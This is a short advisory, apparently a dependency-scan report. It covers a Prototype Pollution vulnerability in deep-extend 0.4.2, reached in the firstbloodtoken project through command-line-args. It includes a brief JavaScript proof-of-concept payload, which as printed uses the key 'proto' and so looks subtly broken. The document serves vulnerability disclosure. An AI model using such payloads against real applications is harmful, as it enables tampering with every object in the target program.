Prototype Pollution

[larrycameron80]

Prototype Pollution
Vulnerable module: deep-extend
Introduced through: command-line-args@2.1.6
Detailed paths
Introduced through: firstbloodtoken@Firstbloodio/token#ae71053e0656b0ceba7e229e1d67c09f271191dc › command-line-args@2.1.6 › command-line-usage@2.0.5 › column-layout@2.1.4 › deep-extend@0.4.2
Overview
deep-extend is a library for Recursive object extending.

Affected versions of this package are vulnerable to Prototype Pollution. Utilities function in all the listed modules can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.

PoC by HoLyVieR
var merge = require('deep-extend');
var malicious_payload = '{"proto":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);